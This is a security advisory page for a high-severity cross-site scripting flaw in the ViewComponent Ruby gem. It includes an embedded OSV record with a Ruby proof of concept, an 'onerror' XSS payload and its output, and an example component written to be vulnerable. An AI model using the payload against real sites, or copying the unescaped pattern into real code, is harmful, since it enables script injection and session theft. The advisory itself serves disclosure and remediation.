CVE-2026-54498: ViewComponent Around_render HTML-Safety Bypass Vulnerability
HIGHCVE-2026-54498 is a HIGH (CVSS 8.7) around_render html-safety bypass vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting ViewComponent libraries in the RubyGems ecosystem. The issue involves around_render html-safety bypass. Remediation is available by upgrading affected packages to version 4.12.0.
CVE-2026-54498 at a Glance
Security Impact
CVSS: 8.7
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).
How to Fix CVE-2026-54498
To remediate this vulnerability, upgrade all affected ViewComponent dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade view_component to 4.12.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for view_component
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-54498, inspect your project dependencies for ViewComponent:
inspect dependencies for view_component
Analyze the terminal output to locate any version of ViewComponent in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.12.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In ViewComponent, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-54498 Affected ViewComponent Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
view_component
|
RubyGems |
≥ 4.0.0
< 4.12.0
|
4.12.0
|
References
Frequently Asked Questions
What is CVE-2026-54498?
Which ViewComponent versions are affected?
What version fixes CVE-2026-54498?
Is view_component affected?
What is the CVSS score of CVE-2026-54498?
What CWE is associated with CVE-2026-54498?
How can I check RubyGems dependencies for CVE-2026-54498?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-97jw-64cj-jc58",
"modified" : "2026-07-15T22:51:04Z",
"published" : "2026-07-15T22:51:04Z",
"aliases" : [ "CVE-2026-54498" ],
"summary" : "ViewComponent: around_render HTML-Safety Bypass",
"details" : "## Summary\n\n`ViewComponent::Base#around_render` can return HTML-unsafe strings that bypass the escaping behavior applied to normal `#call` return values. This creates an XSS risk when downstream applications use `around_render` to wrap, replace, instrument, or conditionally return content that includes user-controlled data.\n\nThe issue is especially dangerous in collection rendering because `ViewComponent::Collection#render_in` joins the per-item results and marks the entire output as `html_safe`, converting raw unsafe output into a trusted `ActiveSupport::SafeBuffer`.\n\n\n## Affected Code\n\nValidated against:\n\n- Repository commit: `eea79445`\n- Ruby: `3.4.9`\n\nRelevant locations:\n\n- `lib/view_component/base.rb`\n - `render_in`\n - `around_render`\n - `__vc_maybe_escape_html`\n- `lib/view_component/template.rb`\n - `InlineCall#safe_method_name_call`\n- `lib/view_component/collection.rb`\n - `Collection#render_in`\n\nKey code paths:\n\n```ruby\n# lib/view_component/base.rb\naround_render do\n render_template_for(@__vc_requested_details).to_s\nend\n```\n\n```ruby\n# lib/view_component/template.rb\nproc do\n __vc_maybe_escape_html(send(m)) do\n Kernel.warn(...)\n end\nend\n```\n\n```ruby\n# lib/view_component/collection.rb\ncomponents.map do |component|\n component.render_in(view_context, &block)\nend.join(rendered_spacer(view_context)).html_safe\n```\n\n## Root Cause\n\nNormal inline `#call` output is passed through `__vc_maybe_escape_html`, which escapes HTML-unsafe strings. However, when `around_render` itself returns a string, the returned value becomes the component render result without being passed through the same HTML-safety boundary.\n\nThis creates two different output-safety behaviors:\n\n- `#call` returning unsafe string: escaped\n- `#around_render` returning unsafe string: raw\n\nCollection rendering then amplifies the issue by calling `.html_safe` on the joined result.\n\n## Proof of Concept\n\nRun from the repository root:\n\n```ruby\n$LOAD_PATH.unshift File.expand_path(\"lib\", Dir.pwd)\nrequire \"action_controller/railtie\"\nrequire \"rack/mock\"\nrequire \"view_component/base\"\n\nclass PocController < ActionController::Base; end\n\ndef vc\n c = PocController.new\n c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for(\"/poc\")))\n c.set_response!(ActionDispatch::Response.new)\n c.view_context\nend\n\nPAYLOAD = \"<img src=x onerror=alert(1)>\"\n\nclass UnsafeCallComponent < ViewComponent::Base\n def initialize(payload:) = @payload = payload\n def call = @payload\nend\n\nclass UnsafeAroundComponent < ViewComponent::Base\n def initialize(payload:) = @payload = payload\n def call = \"SAFE\"\n def around_render = @payload\nend\n\nclass UnsafeAroundCollectionComponent < ViewComponent::Base\n with_collection_parameter :payload\n def initialize(payload:) = @payload = payload\n def call = \"SAFE\"\n def around_render = @payload\nend\n\nview_context = vc\n\nnormal = UnsafeCallComponent.new(payload: PAYLOAD).render_in(view_context)\naround = UnsafeAroundComponent.new(payload: PAYLOAD).render_in(view_context)\ncollection = UnsafeAroundCollectionComponent.with_collection([PAYLOAD]).render_in(view_context)\n\nputs \"normal_call=#{normal}\"\nputs \"normal_call_raw=#{normal.include?(PAYLOAD)} html_safe=#{normal.html_safe?}\"\nputs \"around_render=#{around}\"\nputs \"around_render_raw=#{around.include?(PAYLOAD)} html_safe=#{around.html_safe?}\"\nputs \"collection=#{collection}\"\nputs \"collection_raw=#{collection.include?(PAYLOAD)} html_safe=#{collection.html_safe?}\"\n\nc = PocController.new\nc.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for(\"/poc\")))\nc.set_response!(ActionDispatch::Response.new)\nout = c.render_to_string(UnsafeAroundComponent.new(payload: PAYLOAD))\nputs \"controller_render_to_string=#{out}\"\nputs \"controller_raw=#{out.include?(PAYLOAD)} html_safe=#{out.html_safe?}\"\n```\n\nObserved output:\n\n```text\nnormal_call=<img src=x onerror=alert(1)>\nnormal_call_raw=false html_safe=true\naround_render=<img src=x onerror=alert(1)>\naround_render_raw=true html_safe=false\ncollection=<img src=x onerror=alert(1)>\ncollection_raw=true html_safe=true\ncontroller_render_to_string=<img src=x onerror=alert(1)>\ncontroller_raw=true html_safe=false\n```\n\nThe control case confirms that normal `#call` output is escaped. The `around_render` cases confirm that the same payload is emitted raw.\n\n## Exploit Scenario\n\nA downstream application defines a component that uses `around_render` for tracing, layout wrapping, feature-flag fallback, error fallback, or instrumentation. If the hook returns a string containing request data, model attributes, CMS content, markdown output, or other attacker-controlled values, the value can be rendered as raw HTML.\n\nExample vulnerable pattern:\n\n```ruby\nclass BannerComponent < ViewComponent::Base\n def initialize(message:)\n @message = message\n end\n\n def call\n \"fallback\"\n end\n\n def around_render\n \"<div class=\\\"banner\\\">#{@message}</div>\"\n end\nend\n```\n\nIf `message` is user-controlled, scriptable HTML reaches the browser.\n\n## Impact\n\nSuccessful exploitation allows XSS in applications using affected components. Depending on application context, impact can include:\n\n- session or token theft where cookies/tokens are accessible\n- authenticated actions as the victim\n- CSRF bypass through same-origin script execution\n- exfiltration of page data\n- credential phishing or UI redress inside trusted application origin\n\nThe collection path is particularly risky because it converts the joined raw output to `html_safe`, which can suppress later escaping.\n\n## Preconditions\n\n- The application defines or uses a component overriding `around_render`.\n- `around_render` returns or wraps attacker-influenced HTML-unsafe content.\n- The component is rendered in a browser-visible response.\n- Higher impact when rendered through `ViewComponent::Collection` or controller/direct rendering.\n\n## Chaining Potential\n\nThis finding can chain with:\n\n- preview routes or examples that accept URL parameters and render components\n- unsafe markdown or CMS content rendered inside `around_render`\n- CSP-disabled preview routes\n- applications that expose admin-only pages containing affected components\n\n## Remediation\n\nApply the same HTML-safety enforcement to `around_render` return values that is applied to normal inline `#call` output.\n\nPossible approaches:\n\n1. Wrap the result of `around_render` with `__vc_maybe_escape_html` when the current template is HTML.\n2. Require `around_render` to return an `ActiveSupport::SafeBuffer` to opt into raw HTML.\n3. In collection rendering, avoid blindly calling `.html_safe` on joined component outputs unless each item has been normalized through the same safety boundary.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "RubyGems",
"name" : "view_component"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "4.0.0"
}, {
"fixed" : "4.12.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/ViewComponent/view_component/security/advisories/GHSA-97jw-64cj-jc58"
}, {
"type" : "WEB",
"url" : "https://github.com/ViewComponent/view_component/commit/48e5fd2d602344c7d33019fbc5c8b087e315bb78"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/ViewComponent/view_component"
}, {
"type" : "WEB",
"url" : "https://github.com/ViewComponent/view_component/releases/tag/v4.12.0"
}, {
"type" : "WEB",
"url" : "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/view_component/CVE-2026-54498.yml"
}, {
"type" : "WEB",
"url" : "https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54498"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-15T22:51:04Z",
"nvd_published_at" : null
}
}